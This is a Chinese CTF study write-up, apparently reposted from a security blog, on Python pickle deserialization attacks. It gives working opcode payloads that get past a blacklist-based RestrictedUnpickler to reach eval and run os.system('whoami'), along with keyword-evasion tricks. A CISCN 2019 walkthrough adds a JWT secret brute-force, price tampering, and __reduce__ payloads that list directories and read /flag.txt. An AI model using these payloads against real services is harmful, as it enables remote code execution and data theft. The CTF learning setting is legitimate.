从中我们可以看出 在builtins模块中 仍然包含builtins模块 因为上面 返回的是一个字典 所以 我们还需要获取get函数

所以我们最终构造的payload就是builtins.getattr(builtins.getattr(builtins.dict,'get')(builtins.globals(),'builtins'),'eval')(command)

import pickle
import pickletools

opcode = b'''cbuiltins
getattr
(cbuiltins
dict
S'get'
tR.
'''


pickletools.dis(opcode )
print (pickle.loads(opcode))

然后 获取globals() 字典

import pickle
import pickletools

opcode = b'''cbuiltins
globals
)R.
'''

pickletools.dis(opcode)
print (pickle.loads(opcode))
   0: c    GLOBAL     'builtins globals'
   18: )    EMPTY_TUPLE
   19: R    REDUCE
   20: .    STOP
highest protocol among opcodes = 1
{'__name__''__main__''__doc__'None'__package__''''__loader__'None'__spec__'None'__file__''c:\Users\zyc\Downloads\main.py''__cached__'None'__builtins__': {'__name__''builtins''__doc__'"Built-in functions, exceptions, and other objects.nnNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices."'__package__''''__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': ModuleSpec(name='builtins', loader=<class '_frozen_importlib.BuiltinImporter'>, origin='built-in'), '__build_class__': <built-in function __build_class__>, '__import__': <built-in function __import__>, 'abs': <built-in function abs>, 'all': <built-in function all>, 'any': <built-in function any>, 'ascii': <built-in function ascii>, 'bin': <built-in function bin>, 'breakpoint': <built-in function breakpoint>, 'callable': <built-in function callable>, 'chr': <built-in function chr>, 'compile': <built-in function compile>, 'delattr': <built-in function delattr>, 'dir': <built-in function dir>, 'divmod': <built-in function divmod>, 'eval': <built-in function eval>, 'exec': <built-in function exec>, 'format': <built-in function format>, 'getattr': <built-in function getattr>, 'globals': <built-in function globals>, 'hasattr': <built-in function hasattr>, 'hash': <built-in function hash>, 'hex': <built-in function hex>, 'id': <built-in function id>, 'input': <built-in function input>, 'isinstance': <built-in function isinstance>, 'issubclass': <built-in function issubclass>, 'iter': <built-in function iter>, 'aiter': <built-in function aiter>, 'len': <built-in function len>, 'locals': <built-in function locals>, 'max': <built-in function max>, 'min': <built-in function min>, 'next': <built-in function next>, 'anext': <built-in function anext>, 'oct': <built-in function oct>, 'ord': <built-in function ord>, 'pow': <built-in function pow>, 'print': <built-in function print>, 'repr': <built-in function repr>, 'round': <built-in function round>, 'setattr': <built-in function setattr>, 'sorted': <built-in function sorted>, 'sum': <built-in function sum>, 'vars': <built-in function vars>, 'None'None'Ellipsis'Ellipsis'NotImplemented'NotImplemented'False'False'True'True'bool': <class 'bool'>, 'memoryview': <class 'memoryview'>, 'bytearray': <class 'bytearray'>, 'bytes': <class 'bytes'>, 'classmethod': <class 'classmethod'>, 'complex': <class 'complex'>, 'dict': <class 'dict'>, 'enumerate': <class 'enumerate'>, 'filter': <class 'filter'>, 'float': <class 'float'>, 'frozenset': <class 'frozenset'>, 'property': <class 'property'>, 'int': <class 'int'>, 'list': <class 'list'>, 'map': <class 'map'>, 'object': <class 'object'>, 'range': <class 'range'>, 'reversed': <class 'reversed'>, 'set': <class 'set'>, 'slice': <class 'slice'>, 'staticmethod': <class 'staticmethod'>, 'str': <class 'str'>, 'super': <class 'super'>, 'tuple': <class 'tuple'>, 'type': <class 'type'>, 'zip': <class 'zip'>, '__debug__': 
True'BaseException': <class 'BaseException'>, 'Exception': <class 'Exception'>, 'TypeError': <class 'TypeError'>, 'StopAsyncIteration': <class 'StopAsyncIteration'>, 'StopIteration': <class 'StopIteration'>, 'GeneratorExit': <class 'GeneratorExit'>, 'SystemExit': <class 'SystemExit'>, 'KeyboardInterrupt': <class 'KeyboardInterrupt'>, 'ImportError': <class 'ImportError'>, 'ModuleNotFoundError': <class 'ModuleNotFoundError'>, 'OSError': <class 'OSError'>, 
'EnvironmentError':
 <class 'OSError'>, 'IOError': <class 'OSError'>, 'WindowsError': <class 'OSError'>, 'EOFError': <class 'EOFError'>, 'RuntimeError': <class 'RuntimeError'>, 'RecursionError': <class 'RecursionError'>, 'NotImplementedError': <class 'NotImplementedError'>, 'NameError': <class 'NameError'>, 'UnboundLocalError': <class 'UnboundLocalError'>, 'AttributeError': <class 'AttributeError'>, 'SyntaxError': <class 'SyntaxError'>, 'IndentationError': 
<class 'IndentationError'>, 'TabError': <class 'TabError'>, 'LookupError': <class 'LookupError'>, 'IndexError': <class 'IndexError'>, 'KeyError': <class 'KeyError'>, 'ValueError': <class 'ValueError'>, 'UnicodeError': <class 'UnicodeError'>, 'UnicodeEncodeError': <class 'UnicodeEncodeError'>, 'UnicodeDecodeError': <class 'UnicodeDecodeError'>, 'UnicodeTranslateError': <class 'UnicodeTranslateError'>, 'AssertionError': <class 'AssertionError'>, 'ArithmeticError': <class 'ArithmeticError'>, 'FloatingPointError': <class 'FloatingPointError'>, 'OverflowError': <class 'OverflowError'>, 'ZeroDivisionError': <class 'ZeroDivisionError'>, 'SystemError': <class 'SystemError'>, 'ReferenceError': <class 'ReferenceError'>, 'MemoryError': <class 'MemoryError'>, 'BufferError': <class 'BufferError'>, 'Warning': <class 'Warning'>, 'UserWarning': <class 'UserWarning'>, 'EncodingWarning': <class 'EncodingWarning'>, 'DeprecationWarning': <class 'DeprecationWarning'>, 'PendingDeprecationWarning': <class 'PendingDeprecationWarning'>, 'SyntaxWarning': <class 'SyntaxWarning'>, 'RuntimeWarning': <class 'RuntimeWarning'>, 'FutureWarning': <class 'FutureWarning'>, 'ImportWarning': <class 'ImportWarning'>, 'UnicodeWarning': <class 'UnicodeWarning'>, 'BytesWarning': <class 'BytesWarning'>, 'ResourceWarning': <class 'ResourceWarning'>, 'ConnectionError': <class 'ConnectionError'>, 'BlockingIOError': <class 'BlockingIOError'>, 'BrokenPipeError': <class 'BrokenPipeError'>, 'ChildProcessError': <class 'ChildProcessError'>, 'ConnectionAbortedError': <class 'ConnectionAbortedError'>, 'ConnectionRefusedError': <class 'ConnectionRefusedError'>, 'ConnectionResetError': <class 'ConnectionResetError'>, 'FileExistsError': <class 'FileExistsError'>, 'FileNotFoundError': <class 'FileNotFoundError'>, 'IsADirectoryError': <class 'IsADirectoryError'>, 'NotADirectoryError': <class 'NotADirectoryError'>, 'InterruptedError': <class 'InterruptedError'>, 'PermissionError': <class 'PermissionError'>, 'ProcessLookupError': <class 'ProcessLookupError'>, 'TimeoutError': <class 'TimeoutError'>, 'open': <built-in function open>,....

我们现在有了字典 又有了get函数 我们就可以从builtins模块中任意获取了

import pickle
import pickletools

opcode = b'''cbuiltins
getattr
(builtins
dict
S'get'
tR(cbuiltins
globals
)RS'__builtins__'
tR.'''

pickletools.dis(opcode)
print(pickle.loads(opcode))
'''
    0: c    GLOBAL     'builtins getattr'
   18: (    MARK
   19: c        GLOBAL     'builtins dict'
   34: S        STRING     'get'
   41: t        TUPLE      (MARK at 18)
   42: R    REDUCE
   43: (    MARK
   44: c        GLOBAL     'builtins globals'
   62: )        EMPTY_TUPLE
   63: R        REDUCE
   64: S        STRING     '__builtins__'
   80: t        TUPLE      (MARK at 43)
   81: R    REDUCE
   82: .    STOP
highest protocol among opcodes = 1
<module 'builtins' (built-in)>
'''

调用builtins中的eval函数

import pickle
 
opcode4=b'''cbuiltins
getattr
(cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
)RS'__builtins__'
tRS'eval'
tR.'''

 
print(pickle.loads(opcode4))
 

#<built-in function eval>

最终 我们构造命令执行

import pickle
import io
 import builtins
class RestrictedUnpickler(pickle.Unpickler):
    blacklist = {'eval''exec''execfile''compile''open''input''__import__''exit'}
 
    def find_class(self, module, name):
        # Only allow safe classes from builtins.
        if module == "builtins" and name not in self.blacklist:
            return getattr(builtins, name)
        # Forbid everything else.
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                     (module, name))
 
def restricted_loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()
 
 
opcode=b'''cbuiltins
getattr
(cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
)RS'__builtins__'
tRS'eval'
tR(S'__import__("os").system("whoami")'
tR.
'''

 
restricted_loads(opcode)
#可以成功执行whoami

以上的payload仅是一种方法  当我们想要绕过find_class 我们 可以先构造处沙箱逃逸的payload 然后 再根据payload构造opcode

当然 我们也可以用上面的pker来辅助我们生成opcode

思路二

在思路一种 我们通过了getattr(builtins,'eval') 来获取到了内置函数 eval getattr的第一个参数 builtins模块 是通过获取globals种的全局变量来获得的 也就是说 globals() 函数中有python中提前设置好的全局变量 包括我们import的各种模块 那么 我们是否 可以通过globals函数 来获取到pickle模块捏 在引入之后 可以看到在全局变量中 存在pickle模块

皮蛋厂学习日记 | 2023.4.8 fake_s0u1 python 反序列化
image

可以看到,globals()函数中的全局变量,确实包含我们导入的官方或自定义的模块,那么我们就可以尝试导入使用pickle.loads()来绕过find_class()了。

不过值得注意的是,由于pickle.loads()的参数需要为byte类型。而在Protocol 0中,对于byte类型并没有很好的支持,需要额外导入encode()函数,可能会导致无法绕过find_class限制。

在第三版本之后 才引入了B和C字节码来操作byte类型

image

关键词绕过

V

皮蛋厂学习日记 | 2023.4.8 fake_s0u1 python 反序列化
image

就是使用unicode编码

c__main__
secret
(Vu006bey  #key
S'asd'
db.

十六进制

c__main__
secret
(S'x6bey'  #key
S'asd'
db.

内置模块获取关键字

image

使用sys.modules[xxx]可以获取其全部属性 我们可以使用reversed将列表反序 然后使用next()指向关键词 从而输出

image
print(next(reversed(dir(sys.modules['secret']))))

我们将上面的代码使用opcode表示一下

(((c__main__
secret
i__builtins__
dir
i__builtins__
reversed
i__builtins__
next
.

题目

code-breaking2018 picklecode

上面在builtins讲的例子就是来源于这里 重新打一下

import pickle
import io
import builtins

__all__ = ('PickleSerializer', )


class RestrictedUnpickler(pickle.Unpickler):
    blacklist = {'eval''exec''execfile''compile''open''input''__import__''exit'}

    def find_class(self, module, name):
        # Only allow safe classes from builtins.
        if module == "builtins" and name not in self.blacklist:
            return getattr(builtins, name)
        # Forbid everything else.
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                     (module, name))


class PickleSerializer():
    def dumps(self, obj):
        return pickle.dumps(obj)

    def loads(self, data):
        try:
            if isinstance(data, str):
                raise TypeError("Can't load pickle from unicode string")
            file = io.BytesIO(data)
            return RestrictedUnpickler(file,
                              encoding='ASCII', errors='strict').load()
        except Exception as e:
            return {}

只能从builtins中取且不能有上面的blacklist中的函数

那么 我们需要从其自带的builtins中 获取出我们的 命令执行函数

众所周知builtins中的getattr函数 可以获取属性

image

那么 我们尝试使用这个去获取一下eval呢

image

可以获取到构建好的eval 然后 我们需要获取到这个builtins的一级模块  我们直接使用pickle是获取不到的 我们看一下他的globals

皮蛋厂学习日记 | 2023.4.8 fake_s0u1 python 反序列化
image

其中是有builtins的 我们需要将其取出来

构造一个get

image

获取到get方法

然后这个绕过就串起来了

通过get获取builtins模块 获取builtins模块中的eval 从而进行命令执行

皮蛋厂学习日记 | 2023.4.8 fake_s0u1 python 反序列化
image

builtins.getattr(builtins.getattr(builtins.dict,"get")(builtins.globals(),"builtins"),'eval')("__import__('os').system('whoami')")

我们将其转换成opcode 如下

cbuiltins
getattr
p0
(cbuiltins
dict
S'get'
tRp1
cbuiltins
globals
)Rp2
00g1
(g2
S'builtins'
tRp3
0g0
(g3
S'eval'
tR(S'__import__("os").system("whoami")'
tR.
image

成功绕过

image

同时也能执行命令

[CISCN 2019华北Day1]Web2

进入环境 需要寻找购买lv6

import requests

url = "http://ip/shop?page="

for i in range (1,200):
    r = requests.get(url+str(i))

    if r.text.find('lv6.png') != -1:
        print(i)
        break

找到在181页

进入购买

购买需要admin权限 我们在cookie中发现jwt 解密发现user为asd

爆破密钥为1Kun 将user加密为admin

购买时将折扣值调为很小的值

image

发现源码

image

在admin中存在反序列化漏洞 会将结果渲染出来

import pickle
import commands
import urllib

class poc(object):
    def __reduce__(self):
        return (commands.getoutput,('ls /',))
  
a=poc()

print(urllib.quote(pickle.dumps(a)))
import pickle
import urllib

class poc(object):
    def __reduce__(self):
        return (eval, ("open('/flag.txt','r').read()",))
  
a=poc()

print(urllib.quote(pickle.dumps(a)))
image

参考文章

https://goodapple.top/archives/1069

https://xz.aliyun.com/t/7436

https://tttang.com/archive/1782

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年4月17日02:19:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   皮蛋厂学习日记 | 2023.4.8 fake_s0u1 python 反序列化https://cn-sec.com/archives/1663168.html

发表评论

匿名网友 填写信息